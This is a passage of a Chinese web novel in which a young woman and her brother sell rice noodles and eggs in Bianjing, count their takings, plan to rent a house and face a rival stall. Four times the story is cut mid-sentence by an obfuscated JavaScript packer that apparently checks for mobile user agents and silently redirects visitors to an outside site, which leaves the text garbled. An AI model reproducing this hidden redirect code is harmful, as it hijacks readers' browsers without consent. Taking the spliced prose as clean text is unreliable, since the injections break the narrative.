姜松给妹妹带了鸡蛋，自己的就是馒头炊饼。姜然想让他吃点别的，但姜松舍不得。 给他吃了，不如卖了赚钱。今天过来看妹妹熟练地煮粉捞粉和客人交谈，他心里高兴，又忍不住心疼。 他得多干些活才行。 姜然已经体会到多个人的好处了，以往卖完了得姜然自己收拾，现在都是姜松收拾。刷碗，清理摊位，脏活累活兄长干。 赵大娘今早生意也不错，她们两个摊子挨着，姜然生意好，连带着她的客人也多了几个。 姜然现在卖茶叶蛋，赵大娘不禁琢磨，她能加点啥，可琢磨半天想破脑袋也想不出来。 趁着姜松去打水的功夫，她对姜然道：“小然，你也帮我想想摊子能加点啥，就两样太少了，到时赚了钱还给你分成。” 姜然没把话说全，“我试试，但不一定能想出来，因为茶叶蛋也是看别人卖我才卖的。” 给赵大娘的主意姜然暂且没想出来，倒是想出她的摊子缺茶叶蛋怎么办了。 就剩八个，肯定不够中午晚上的。 等姜松回来，姜然给他二十钱，让他去买十个鸡蛋。 茶叶蛋卖没了，但锅灶都是现成的。她可以煎鸡蛋卖，先煎五个，看看中午卖得什么样，再做调整。 还剩下八个茶叶蛋，再加十个煎蛋，中午应该足够用。 而赵大娘那头，本来就是求人办事，她没奢望姜然能立即想出来。她倒是心里划过一丝念头，煎蛋，她就能煎，但姜然没必要多此一举。 不急不急，慢慢来。 中午的汴河大街热闹非凡，这边西邻大相国寺，前头就是汴河，东水门有码头，客商走贩最是多。 姜然也算在这儿站稳脚跟了，每日都会见到些熟面孔。 价目表上，姜然又让姜松加了煎蛋，也是四文一个。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096305|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >中午生意好像比早上更好，加了东西，客人不觉得贵，反而觉得他们的种类丰富。 姜然打听过，做杂活、工匠的每日能赚一百到三百钱，自然不吝啬中午吃些好的，去饭馆酒楼的大有人在。 便是去摊贩吃，也会选择有肉、好吃的东西。当然炊饼、馒头作为充饥之物，也有不少人买的。有人乐得吃些好的，自然就有人想要省钱。 今天是头一回，在中午就把肉末卖光。以往都得等到下午，再吆喝几份才能卖完。 只剩猪油拌粉、两只煎蛋三个茶叶蛋，客人再过来问汤粉已经没有了，有的摇摇头去了别的摊子，有的去了退而求其次选择了猪油拌粉，很快这些也卖光了。 正午过去，姜然看着空荡荡的摊子和街上的人，赚了多少钱她都没来得及算，先拿钱让姜松去买六十个鸡蛋，再买一斤多肉两根骨头，肉让摊主帮忙剁成肉末，给两文辛苦钱，这会儿人少，摊主愿意做。 姜然为晚上夜市做准备，看看摊子，惊觉还得买个陶釜，也就是砂锅，要炖骨头汤。 时间有些紧，万幸能来得及，骨头汤炖一个时辰，而后炒肉末煎蛋，往日下午姜然还叫卖，现在已经很没什么可卖了。 姜然准备了差不多是白日一天要卖的量，不知道晚上能不能给卖完。 午饭姜然没让姜松啃馒头，晚上要做生意，还得走回家呢，她深谙要想马儿跑，必须给马儿吃草的道理。 姜然在赵大娘那儿买了两块糖饼，然后等肉末弄好之后，一人吃了碗粉。姜松起初不愿意吃，姜然就道：“你若不吃，那明儿我就自己来。哥，我说什么你都不听，还不如一个人自在呢。” 姜松知道妹妹想自己多吃点，一顿午饭，他就吃了十二钱。 吃过饭，姜松立即去干活，姜然这回没拦。 随着太阳从高挂变得西斜，汴河大街上撒了赤色的光，赵大娘招呼二人推车去夜市。 赵大娘：“这儿晚上不如白天热闹，咱们去曹门大街，那边有潘楼，可是大酒楼，夜里人可是多呢。” 他们这些小摊贩就沾光喝口汤。 说是夜市，可太阳刚落山生意就来了。 姜然是新面孔，交了几文钱的官地钱，然后就能放心做生意。 随着天色越来越暗，眼前的一切，像是画卷活了过来。小摊贩儿堆在各大饭馆酒楼铺的前头，姜然不禁仰头看去，天还没黑透，这些地方门前就已亮起灯笼，多是几层高的楼，每一层檐角都挂了灯笼，照得街边明亮动人。 人很多，不时有人从各间铺子进进出出。这些人衣着也华丽，女子手持团扇，男子多是文人打扮，谈笑风生。 绫罗绸缎，各种染了颜色花样的料子，云髻堆彻，鬓间的钗子、珠饰叮叮作响。 姜然在摆摊的时候也常见衣着华丽的人从摊位前经过，却可却不及这样天色昏暗，灯火明亮，珠钗闪着光芒带来的感受强烈。 赵大娘见姜然神色痴痴，不由笑问：“热闹吧？” 姜然回过神来，轻轻点了下头，手上开始忙碌起来，“热闹。” 真是热闹极了。 18.第十八章 晚归 赵大娘又道：“夜市一直到三更天，要是还能赶上早市，赚得肯定更多。” 姜然怕赵大娘不干了，其实赵大娘也怕姜然不干。别看她给姜然分成，可是大头还是她拿着，一天多卖二三十块芝麻饼，就多赚七八十钱。 姜然却没被赵大娘的话冲昏头脑，哪怕以后搬到汴京来，也不可能一天到晚卖东西，人得有休息的时候。 一天到晚忙碌，人都得累傻了。 往后的事来不及她多想，生意已经来了。 还是熟客，“小娘子晚上也来卖了，给我来碗汤粉。” 这客人中午去得晚，没吃着，“还有茶叶蛋不？” 姜然：“茶叶蛋没了，但有煎蛋，煎蛋也很好吃的，配汤粉合适，来个煎蛋吧。” 姜然打算明天白天卖茶叶蛋，晚上卖煎蛋。 省了路上带太多东西，在这儿买生鸡蛋很方便，煎也方便。 客人道：“明儿给我留个溏心的，我过去吃，今儿就先来个煎蛋吧。” 姜然应了声好，熟练地漏粉煮粉。滑嫩的汤粉躺在碗中，面上铺着煎蛋，旁边几颗小油菜。 客人端着去了摊位后面吃，他没急着吃煎蛋，茶叶蛋本身就有滋味，但煎蛋就撒了少许盐，别的滋味就没了。想让蛋入味，还得多泡会儿。 姜然卖了三份粉，天色已彻底暗下来。 街上人如流水，晚风带来阵阵香气。有脂粉香、果香、饭香。 赵大娘常来这儿，已积攒不少熟客，每卖一份，她都会说，“旁边是我侄女，卖汤粉的，很好吃，可以买一碗尝尝。” 姜然第一次来夜市，就已经有汴河大街那边的老顾客、头一回来好奇的客人，和从赵大娘那儿过来的客人了。 她的摊子被人围了起来，有的直接要，有的犹犹豫豫，想看看究竟好不好吃。 有的看几眼便走了，有的和别人攀谈，问吃没吃过，“你吃过前面那家不，有那家好吃吗？” “那肯定是这家好吃，前头那家粉软，一夹就断，不过你若喜欢那种，肯定觉得那家味道好，这家粉筋道。” 姜然没去别处，就知道这夜市还有一家卖粉的。 她打算有空去尝尝，这样才能知己知彼。 正想着，客人道：“给我也来碗，汤粉吧，再要个煎蛋。” 姜然道：“客官你是第四个，劳请等一会儿，我给前面的人做完就做你的。” 姜然一边做，心中一边盘算，继今天中午就把平日一天的东西卖完之后，她还是第一次摊前排四个客人。 前头是两份猪油拌粉，这个最是简单，粉煮熟捞出，加上调味料一拌，要煎蛋的放煎蛋，不放的就直接端出去。 天黑之后，姜然摊位前就没有没人的时候。虽不是人人都买，可也尽显热闹。 借着后面饭馆的灯光，她的客人嗦粉吃粉，有的吃到一半又过来加醋加辣。 这些都是新客，如果是熟客，基本上知道自己加几勺醋几勺辣椒的。 姜然不得歇下的空隙，累是累，可也高兴这条街上多了属于她的拌粉汤粉的气息。 正卖着，一女子隔着人群朝姜然招手，“姜小娘子！你真来卖米粉啦！” 说话的不是别人，正是永宁侯府的六小姐。 六小姐神色明媚，可姜然这摊子人实在多，便让素鱼过来买粉，匆匆打了个招呼，便去后头僻静地处等了。 姜然犹豫要不要插队给她煮一碗，想了想还是决定按照顺序来。先来后到，不然对前头客人不公平。 素鱼要了碗汤粉，又加了个煎蛋，姜然道：“总共九文钱。” 素鱼没纠结价钱和在庄子时不一样，摆摊做生意总得按照市场价来的，她攀谈两句，“没想到小娘子真来卖米粉了，六小姐白日想来吃，不过不得空，若带回去又怕太远口感不好，没想到晚上就遇见了。” 姜然笑笑，“那估计是老天不想六小姐失望。” 人多，煮了粉姜然便没再管，也不知道六小姐带何时带丫鬟走的。姜松也有的忙，负责告诉姜然谁要加粉，然后勤刷碗筷。 夜市热闹，热闹得平日要一个白天才能卖完的东西，在这儿不到两个时辰就卖光了。 姜然也硬生生站了两个时辰，饿得前胸贴后背。 最后剩了两个煎蛋，她让姜松把价目表背过来，直接收摊了。 赵大娘看了眼，“走了？” 姜然点点头，这会儿回去，还得走一个时辰，差不多子时到家，不能再晚了。 她煮粉吃，期间还有客人过来问，姜然不好意思道：“已经卖完了，你明儿再来吧。” 客人指指冒着热气的锅，又踮脚看了眼，“这个不是还有吗？” 姜然一噎，“这个不小心掉车板上了，不敢给客人吃，只能我们自己吃。” 客人败兴离开。 姜然松了口气，等粉煮好，就着煎鸡蛋吃了大半碗，才感觉自己活了过来。 只是活了过来，却没吃饱，今天也吃过糖饼，她在隔壁买了三个肉包。 她都没觉得吃饱更何论姜松呢，不过姜松就吃一个，剩一个用荷叶一包。 时间不早了，姜松飞快把碗筷车子刷干净，二人先去赵大娘家放车，又回汴河大街买肉骨头，这才出城回庄子。 护城河和城墙仿佛一道屏障，把热闹的汴京城隔绝在内，城外是寂静的荒野和官道。 晚风吹过，吹得姜然热腾腾的心变得轻飘飘的，今儿可是真累呀，钱袋子也是真沉啊。 姜然忍不住笑了，“哥，你累不累？” 姜松摇摇头，路上不止他们兄妹，还有几个小摊贩。 天太黑，路上一点风吹草动就能吓得人一激灵。姜松得时不时回头看，确定后面的没人才放心。 姜然脑中不合时宜地想起以前听说的天黑人肩头有三把火的传言，回一次头就灭一把，不过现在人肯定比鬼更让人害怕。 白日熟悉的路口、树木在夜里都看不太清。 一路向东南，就这样走啊走，终于走到庄子了，狗叫了两声，又看是熟人，阖上眼皮趴在地上不动。 进了三房，云氏和姜传力从屋里出来，二人没说什么，却是一直等着兄妹二人回来。 姜松抿抿唇，“你们先去睡。” 姜然：“哥你呢？” 姜松道：“我去打张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102446|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌子。” 的确缺张桌子，现在摊子多了煎蛋、茶叶蛋，还有人会加粉，端着吃多有不便，是能放地上，可等不到座位的得弯腰拿取。 姜然点点头，云氏二人进了屋，姜松把他收的钱交给姜然。 姜松收的钱是加粉的，其余的都直接给了姜然。 姜然攥紧钱袋子，道：“那你也早点睡。” 累了一日，胳膊腿好像要散架了，姜然把茶叶蛋弄上，就去梳洗，洗净身上因为赶路沾上的尘土和做菜染上的油烟气。 又看天边明月，脑子阵阵发沉，她回屋躺下，困意却渐渐消散，姜松在做桌子，磨木头的声音一阵一阵的。 姜然也不困了，她从床上爬起来，对着窗外的月光，把钱袋子拿了出来。 不把钱数了她睡不着。 两个钱袋子，一个较轻，另一个沉甸甸的，姜然先数的加粉的，不过加粉的钱不全在这里，有些人知道自己不够吃，买的时候便说了要加粉，还有一部分是吃完意犹未尽，又加一份。 这个钱袋子里总共四十二文。 另一个钱袋子就多了，姜然数完，总共是二百五十三文。 她也记不清卖了多少碗粉。但是鸡蛋是有数的，总共卖了四十多枚，这边是一百多文。 这到手的基本上是本钱了。 今儿买了三斤肉，还带回来四十个鸡蛋，这还能有小三百文呢。 姜然平日卖一个白天，一天下来，能收个小二百文，再买肉交钱，到手也就八九十文。 今儿加了东西，生意又比平日好，赚得是往日三倍。 若非知道钱被许多人摸过，姜然指定抱在怀里好好稀罕一番。 钱数完了，接下来就看怎么分。 姜松把钱给了她，那意思就是她来分呗，当然姜然从没有想过让姜松分。 怎么分钱成了个难题，以前用家里的东西，本钱不好算，每日交家用二十文，再刨除家里的菜、米等物，剩的更少。 现在刨出本钱，一日能剩三百钱。还给二十文，姜然觉得不合适，毕竟姜松也干了不少活。 给六十文？好像还是有点少了。 那给八十文，一个月下来有两贯呢，姜然这留不少，若租宅子，这钱也不剩什么。 总不好宅子租了，赚的她都自己拿着。 租宅子的钱全是姜松掏……姜然又数出来四十文，算了，给一百二十文吧。 再多，姜然就舍不得了，钱放在她这儿，想花想给都成，如果给姜松再多，她觉得不安心，怕哪天诉苦再给要回来。 屋外的声音还没停，姜然又把衣服穿上，拿钱袋子出去。 姜松坐在院中，闻动静回头，“怎么还没睡？” 姜然道：“干正事了，今日赚的钱，给家里的你拿着，有一百二十钱。” 姜松手上都是木屑，也不知是因为诧异，还是怕弄脏钱袋，他没有立即接，“这么多……你那儿够用吗？你多留点，想买什么买什么，不必给家里这么多……” 姜然道：“我这儿够。” 姜然看看兄长，在脑中想了许久的话脱口而出，“哥，我们去汴京租个宅子吧。” 19.第十九章 租宅子 姜然说完就回屋睡觉了，她没有多说汴京多好，也没劝姜松在汴京有了落脚之处，省下路上赶路的时间能多卖多少粉。 姜松和姜传力云氏不一样，对云氏夫妇，你就算说破了天，把好处摆到明面上，也不见得有反应。 姜松不一样，他会想法子赚钱，买猪买鸡买鸭，会翻地种菜，主动跟姜然去卖东西帮忙，他就不是小心谨慎、什么都不敢的性子，他看见了夜市，也看到了钱，依姜然对姜松的了解，他只会打听租宅子什么价钱，看看行不行得通，然后再来告诉姜然结果。 姜然等着就是了。 反正现在家里做主的是姜松，不用和姜传力云氏商量。 次日，天还未亮，姜然就醒了，姜松还没起。他昨儿睡得晚，炒肉末也用不着他，多睡会儿有竟然。 姜然打着哈欠去厨房，厨房的火光在黑夜中显得越发温暖。 云氏在厨房忙活，她回头看了眼姜然，“我把骨头汤炖上了，你看看行不，肉也切好了。” 云氏还做了早饭，煮了两个鸡蛋，又做了炊饼。 姜传力不在家里，但姜然听见后院有动静，估计清理猪圈。 姜然瞧了眼，就是清炖的骨汤，肉末切的跟姜然平日里切得大小一样。 姜然笑了一下，“挺好，阿娘，那我回去睡会儿，你半个时辰后叫我。” 云氏点点头，姜然这回笼觉睡得特别香，也没做梦，醒来头脑清明，天是灰色，已微微亮。 厨房有淡淡的骨头汤香气，姜松已经起来了，姜然去梳洗，把肉末炒了，茶叶蛋给装上，简单垫几口后，把饭食带上，兄妹俩就准备出门了。 姜松早起还是去菜地里看了，昨日除了草，鸡鸭猪圈也挺干净的。 不过他还是不放心地嘱咐了姜传力一遍，不许帮大房他们的忙。 今儿带的东西多，还多了张桌子。姜然也背了东西，不过较以往她自己全带上，还是轻巧了不少。 姜松像是要搬家，桌子捆在背上，一手一个桶，脖子上还挂了篮子。 就这样，还和姜然：“累了就和我说，把东西给我。” 姜然心道：“给姜松？难道要用嘴叼吗？” 她背的是较为轻便的小油菜，还有二人的饭食，一点也不沉。 姜然：“我还能拿点，鸡蛋我拿吧。” 两坛茶叶蛋，一样各做了二十个。有不少人喜欢溏心蛋，但许多人更喜欢吃实心的茶叶蛋。 昨日不够卖，她估计今天鸡蛋会卖得很好，晚上就直接卖煎蛋了，倒也可以过去做茶叶蛋，但是他们二人也没个落脚的地方，就在外面，等下午还要做别的，姜然就放弃了这个打算，等搬来汴京再说。 到了街上，赵大娘看二人和昨日来的一样早，不禁感叹，“到底是年轻，我这熬了几宿就累得不成了。” 姜然还得赶路呢，那肯定更累。 姜然笑了笑，他们自然也累，可总得赚钱呀，等租了宅子就会好上许多。 姜松把东西放下，一张桌子，对着摆了两张小板凳。 其他东西也都拿出来，这便拎了两个桶去打水，回来又把碗筷刷一遍。 姜然一边调米浆，一边对姜松道：“哥，你去看看有没有这么大的碗，有的话买回来几个。” 这种粗糙的碗，四五文一个，小的应该便宜点，若能讲下价，没准儿价钱更低。 姜然给他了五十文钱，这是她带出来应急用的，其余大头都在家里，白天还赚呢，晚上用的肉拿赚的钱买就好。 姜然现在攒了四个银花生，还有七百文钱。过了今晚差不多能凑够一贯。 今日的确和姜然意料得差不多，茶叶蛋卖得更好了。 昨天都是要一个，今天有两个客人直接开口加两个蛋。 也是吃起了豪华拌粉，姜然发现吃拌粉的，特别喜欢加茶叶蛋。 一个早上，姜然卖出去十八枚蛋，这回买了小碗了，买了十七个，足够用。 还有一段时间才到正午，等姜松把碗筷刷完，对姜然道：“小然，我出去看看，赶中午之前回来。” 姜然点了点头，“去吧。” 多看看，多转转，才能知道汴京城的好。 赵大娘看着姜松的背影，不禁笑了，这兄妹俩倒是好。 赵大娘拿出块糖饼来，“这早上没卖完的，我给你热热，别嫌不好吃。” 她昨天吃了姜然带的韭菜，包了角子是真好吃。 姜然：“怎么会，对了，我晚上买几块饼。” 姜然打算带回去给云氏和姜传力吃，对她好，她也会对云氏姜传力好。 在家也辛苦，但姜然这么做更多是因为今昨两日。 姜然没想过昨晚云氏和姜传力会等他们，也没想到今天早上云氏会把骨头汤熬上，肉末切了。 听话老实，知道心疼人，也不错。 赵大娘道：“好说好说。” 姜然一边吃一边道：“大娘，顺便在摊子卖的吃食我暂且没想到，不过我觉得吃食都是换汤不换药，我吃了面条就能想到粉条，你这馅儿能换是不是饼皮也能换？能不能换成糯米粉做的饼，太黏就跟大米混着来，做出来兴许好吃。” 姜然又道：“可以做的小巧些，价钱便宜，买的人兴许会多。” 赵大娘压根就没想到这上面，她这几日还想换什么馅儿呢，可也没琢磨出来，更别提换饼皮了，现有的红糖芝麻馅儿都可以做，只是多和一样面，馅儿倒是不用费事。 赵大娘搓手道：“好好好，那啥，你晚上多拿几块糖饼回去，吃就是了。” 姜然：“该给钱给钱，一码归一码，我也是盼着大娘生意好，这样我也能多赚点儿。” 赵大娘心里可觉得不好意思，但姜然的话又抚平她的心，她只要给分成就行，该怎么办事怎么办事。 等太阳慢慢升到高空，街上人也越来越多，阳光洒在身上，四月中旬，照得人暖洋洋的，不过长久站在这儿，便觉得刺目，眼前一片明亮，晒的人晕乎乎的。 总在锅旁也受罪，姜然这锅总烧开，热气熏着脸，不时就得出汗，脸也被熏得通红。 后头有棵柳树，但阴凉只把桌子纳了进去。 卖吃食以客人为主，尤其她卖的粉，买完就吃了。 姜松能想到桌子姜然还挺意外，不过有张桌子，的确方便了不少。哪怕没等到板凳，也能把手里拿不下的东西放上面。 人一多的时候，姜然身后就五六个客人，一边吃，一边拿眼睛盯住各自的东西，以免拿错了。 做了几单生意，姜松就回来了。他没说什么，默不作声地在后面帮忙。 姜然昨日卖得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107060|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快，肉末米粉到后面都没有了，所以今天做了近两斤猪肉的。 忙活了一中午，肉末剩了一些，姜然打算下午卖，卖不完就自己吃。 简单吃了几口饭，二人把东西收拾好，姜然让姜松去买肉，顺便买三十个鸡蛋过来，留晚上用。 姜松很快买来东西，把东西放下他就道：“我出去看看，过会儿回来。” 赵大娘看姜松老往外跑，她是个外人，不好说什么，可过来一块做生意，哪能让妹妹一个劲儿忙活，自己总是出去呢。 赵大娘旁敲侧击地提点了一句，“这汴京人多，也乱，你哥才来，别让人给骗了。” 姜然点了点头，谢了赵大娘的好意，不过她猜测，姜松应该是去打听租宅子的事了。 她没和赵大娘说，这是家里的事，万一不成呢，倒不如不说。 这回姜松就出去了一个时辰，很快就回来了，姜然这边骨头汤已经熬好，新的肉末也炒了。 还差煎蛋，但不算急，赶太阳落山前做好就是。 下午生意一般，就卖了四份米粉，还剩下三四份的肉末卖不动，姜然不打算留到晚上，就一人煮了碗肉末米粉吃。 这俨然是豪华版，姜然放了多多的辣子和醋，主食就是炊饼。放了大一天，早已经凉透了，就在碗里泡泡，味道也不错。 没太阳晒得人头脑发昏，这样夜风微凉，吹得汴河水波漫漫，两岸的铺子渐渐亮起灯，水面有街岸柳树楼宇的倒影，光看都能看上好一会儿。 今日是姜然第二天来夜市，得看看生意到底是昙花一现，还是能一如既往维持生计，这个对姜家来说很是重要。 各家的叫卖声穿过街头传林巷尾。 姜然一边叫卖，一边招待客人。 “一碗汤粉一个煎蛋，诚惠九文。” “猪油拌粉多加份粉，总共五文。” “一碗拌粉，两个煎蛋，十一文钱。客官们可以看看旁边我大娘卖的糖饼，有红糖馅儿、芝麻糖馅儿，都可甜可好吃了。” 姜然很卖力，少了太阳晒，脸上终于不再泛红。 夜色沉静，这些日子她吃得多，却瘦了些，脸就巴掌大，大眼睛在夜光下明晃晃的，鼻梁高挺，说不出得好看，好似一颗明珠，在夜色中比白日更引人注目。 客人的要求也五花八门，有不要醋的，多要醋的，少辣的，加三四勺辣的，有的要蛋，有的不要蛋，好在姜然脑子好使，先来后到喜好口味记得清清楚楚。 摊子虽简陋，连个棚子都没有，就一张小桌，两个板凳，可价钱便宜，在这儿吃，还能吃到符合口味的东西，热热闹闹的。 姜然前面卖，姜松就在后头忙活，把东西差不多卖完，看天色，比昨儿还要晚一些。 一卖上就不记得时间了，姜然总想多卖一点。看时间太晚了，兄妹俩也没吃啥，就带了赵大娘那儿买的糖饼，又买了几个包子，把碗筷木桶匆匆收拾干净，赶紧回家。 走累了饿了就啃两口包子，这家包子味道不错，皮儿薄馅儿大。 累了一日，姜然额头几撮碎发都黏成一缕一缕的，走两步她就啃一口，“哥，你也吃。” 姜松看她啃包子的样子，不由道：“我不咋饿，今天我出门打听了打听，这边租宅子，能住的两三贯一个月，这几天问问，看能不能租个合适的。” 20.第二十章 抢生意 姜松白日出去了两次，就是去打听这些。 家里的钱还有四贯，再攒一些凑足一个月的租金和掠地钱。 姜松不用姜然细说，就明白租宅子的好处，尽管每月多花了两贯租金，可少了赶路的时间，一日两个时辰，若果把这些时间都拿来卖东西，赚的肯定比每个月租金多。 而且不必太辛苦，现在实在是辛苦了，姜然瘦了一圈，一天下来累得蔫吧，夜里熬得晚，明早还要过去。每日出摊姜然都咬牙坚持，回到家里动都不想动一下。 若果是有个宅子，能多睡一会儿。 姜松打听了，单间便宜，一个月五百钱，不过他们兄妹二人，单间肯定不成，又要卖吃食，得有厨房，所以要求就高了。 姜然把包子咽下去，喜道：“真的？” 姜松：“我是有这个打算，不过还是得找到合适的。” 位置合适，价钱也得合适，离汴河大街近。 不过就不能奢求宅子多大多好了，租的宅子，以前不知有多少主人，有的爱惜有的就随意住，也都不大，越大者越贵。 在庄子别的比不上汴京，但是住的地方肯定是比汴京大，又有院子，不过汴京离庄子不远，想用什么，可以随时去取。 若搬过来，两三日回去一次，油菜留根系，在阴凉处放个两三日也没事。等家里鸡鸭下蛋了，正好攒攒，几日拿一次，肯定是比住庄子方便。 云氏和姜传力姜松打算知会一声，如今他管家，那就听他的。再说，摆摊赚的钱都能够租金。 姜然心道，可算要租宅子了，再托，她可走不来汴京了，“哥，钱我这还有，要是不够了，可以先拿出来。” 姜松却摇摇头，“不是说还要做锅吗，先紧着做锅。” 姜然点点头，是得先做锅，有了锅可以一次煮几份，她见不少人看摊子人多就走了的。 若是后头生意大了，还可以换一个大点的推车，现在用的是家里的小推车。 两个轮子，长却窄，到摊位那得用砖头把车头给支起来，这样才能用。 姜然做菜，知道怎么做最合她心意，如果灶台搬地上，可以把车停后面去。 桌椅弄两张大的，还有棚子，最好也同一个，这两日天越来越热，她在外站一天，晒得脸发红。以至于姜然更喜欢晚上卖，凉快舒服。 现在还不是最热的时候，等夏日呢。 姜然觉得这些可以慢慢来，“那问问锅，先做出来。” 姜松点了下头，却是愁眉不展。 姜然想了想，问道：“哥，你担心家里不同意？” 姜松摇摇头道：“阿爹阿娘只要叮嘱好就行，就怕大房他们不依不饶。” 姜然点点头，依林氏的性子，要是知道她为了做生意租了宅子，肯定以为她这生意可好，赚了许多钱。 虽然的确是为了做生意才租宅子，可若这么说，林氏不眼红才怪。 姜杏一直没有消息，也不知在侯府日子如何。姜然见过素鱼一次，可姜杏去了五小姐院中，她便没问。 姜然不想自己辛苦做的生意被别人染指。 她和姜松这两天早出晚归，以前姜然下午就回来，还能见个人影，现在连人影都见不着。 这个尚且可以用卖不动才回去得晚、路上耽搁了时间搪塞过去，如果直接搬到汴京去住，那可不好说了。 总不能说卖不动还砸锅卖铁去汴京吧。 姜松没有开口，姜然道：“哥，你以前用的书还在吗？” * 今日晚，到家已经子时了。 云氏和姜传力从屋里出来，催二人去睡。 姜然：“我把茶叶蛋弄上就睡。” 这个不泡不入味，不好吃，所以得晚上做，不过很好做，算上烧水的时间，一刻钟多就能做好。 明早云氏把骨汤炖上，肉末切好，姜然还能睡一个多时辰。 家中生意如何，一直未和云氏夫妇说过，云氏估计还停留在每日赚的钱只够本钱，然后再买些家里吃用的东西这个阶段。 云氏没回屋，在大灶前烧水。 灶膛火光跳跃，时而传来噼里啪啦的响声，水烧开了，姜然把鸡蛋放进去。 “不然就别去了。” 水咕噜咕噜，火烧得很旺。 姜然看了眼云氏，确认自己没幻听，“大伯母跟你说什么了？” 云氏没有说话，没有说话就是默认。 姜然看鸡蛋没破的，心里算着时间，她很想告诉云氏她赚了钱，再辛苦都是值得的，她还能去租宅子。可想想姜家人，这些话没法说，她把买来的糖饼给她，“今天太晚了，你和阿爹明日吃，我和我哥在街上吃过，不用再给我们留。里面是糖馅儿，少放点油，再煎煎更好吃。” 云氏道：“你去睡吧，茶叶蛋我弄。” 姜然：“煮完就睡。” 云氏做只会做实心的，姜然算时间盛出来，总共两锅，然后和云氏一起弄，“敲碎，滚一下，不用剥。” “把料包煮开之后盛满泡着别动就行了。” 两个人自然快一些，姜然弄完就回屋了。 今儿剩的有三百钱，不过多花了五十文买碗，早上给姜松的五十钱是姜然自己垫的，自然得刨出去。 给家里一百三十文，剩下的入了姜然自己的私库。 姜然很快沉沉睡去，就连也给家里分的钱都没来得及送，次日一早，是云氏把她叫起来，温和的声音从门后传来，“小然，今天还去吗？” 去，得去。 姜然忙爬起来，坐着清醒一会儿，穿衣服出门，去井边梳洗，然后飞快把肉末炒了。东西都装上，兄妹俩顶着蒙蒙亮的天色出门了。 这两日出门早，都没看见别人，今儿遇见林氏了，林氏哎哟一声，“这还日日都去，咋去这么早？” 姜然低头道：“如果不去早点儿，更赚不到钱。大伯母，二姐什么时候回来，帮我说说好话，让我也进侯府吧……” 林氏脸色不太好看，她道：“……等你二姐什么时候回来了，我跟她说说。行了行了，快去吧，别迟了。” 走到官路上，姜然松了口气，对上姜松略显无奈的目光，姜然直笑。 一个猴一个拴法，跟林氏，只要提姜杏提钱，她自不会多说。 姜松：“走吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111391|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜然路上把煮鸡蛋吃了，剩下一个姜松让她也吃了，姜然没吃，“太噎了，你吃吧。” “那明天做成茶叶蛋。” 姜然想想也是，家里就做，干嘛不顺便做了呢？ 走一会儿歇一会儿，一个时辰后，二人来到了热闹的汴京城。 这个时间段早市早就结束了，但依旧有不少人，晨起上工上职，更多做生意商人小贩，形形色色。 这边刚卖了几份，姜然就听见前头有叫卖声。 “卖汤粉拌粉喽，肉沫汤粉四文一碗，猪油拌粉两文一碗，大家快来尝尝，还有新做的茶叶蛋，三文一个！来尝尝，尝尝看，价钱便宜，实惠又好吃。” 叫卖的人在姜然摊子后面，隔了四五家，但一个摊子还不到一丈，故而能听见。 姜然来这儿十几日，终是发现一家跟着卖粉了。 按赵大娘所说，不特意往前挤那也就无妨，只不过压价卖实在叫人膈应。 而且这法子也奏效。 姜然面前的客人是新客，很是脸生，他道：“唉，小娘子啊，我不要了，反正也没煮好，做给别人也是做，钱退我，我今儿不想吃粉了。” 正逢旁边多了个卖粉摊子，价钱还便宜，若这人把粉退了，后头交了钱等着的，没准也退了。 可若不退，姜然又怕他闹事。 赵大娘心里犯嘀咕，姜松一时半刻想不出应对之法。 姜然笑笑，“小哥，可是粉不合你的口味？” 男人心虚一瞬，“就今儿不想吃了。” 粉还在锅里煮着，姜然拍拍胸口，“吓死我了，我还以为是粉有啥问题，你不愿意买了。” 客人怔了怔，明白过来，是他想退。看看不买无妨，可都做上了再退，不太好。 姜然神色诚恳，“小哥，倒不是我强买强卖，毕竟谁都有急事，可我就怕开了个头，人人效仿，我耽误功夫，最后生意没法做了。不然这么着，我看你买的汤粉，你问问后头有人愿意跟你换不？” 